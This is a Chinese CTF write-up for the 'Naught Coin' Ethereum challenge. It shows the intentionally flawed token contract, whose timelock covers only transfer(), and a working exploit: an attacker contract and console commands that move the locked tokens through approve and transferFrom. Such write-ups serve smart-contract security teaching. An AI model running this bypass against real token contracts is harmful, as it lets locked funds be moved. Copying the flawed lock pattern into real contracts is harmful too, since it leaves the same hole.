Naught Coin
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
题目要求
将player
地址的NaughtCoin
代币转移到另一个地址,解除 10 年锁定期的限制
题目分析
在部署合约的时候,给player
地址铸造了INITIAL_SUPPLY
数量的NaughtCoin
。由于transfer
方法上加上了lockTokens
的modifier
修饰。这个方法里要求如果是player
触发的转账操作,则要求当前区块时间大于 10 年以后。
我们看到NaughtCoin
合约继承自ERC20
合约。所以可以通过ERC20
的transferFrom
方法绕过transfer
方法的检查
攻击步骤
- 编写转移合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/token/ERC20/ERC20.sol';
interface INaughtCoin {
function INITIAL_SUPPLY() external view returns(uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns(bool);
}
contract NaughtCoinAttack {
function depositTo(INaughtCoin _token,address _receiver) external {
bool success = _token.transferFrom(msg.sender,_receiver,_token.INITIAL_SUPPLY());
require(success,"transfer failed");
}
}
player
调用approve
方法,授权代币给转移合约
// 查询锁定在player名下的代币总量
const totalLocked = (await contract.INITIAL_SUPPLY()).toString()
// 授权转移合约使用自己的代币
await contract.approve(attackContractAddress,totalLocked)
- 调用转移合约的
depositTo
方法,提供另一个接收代币的账号地址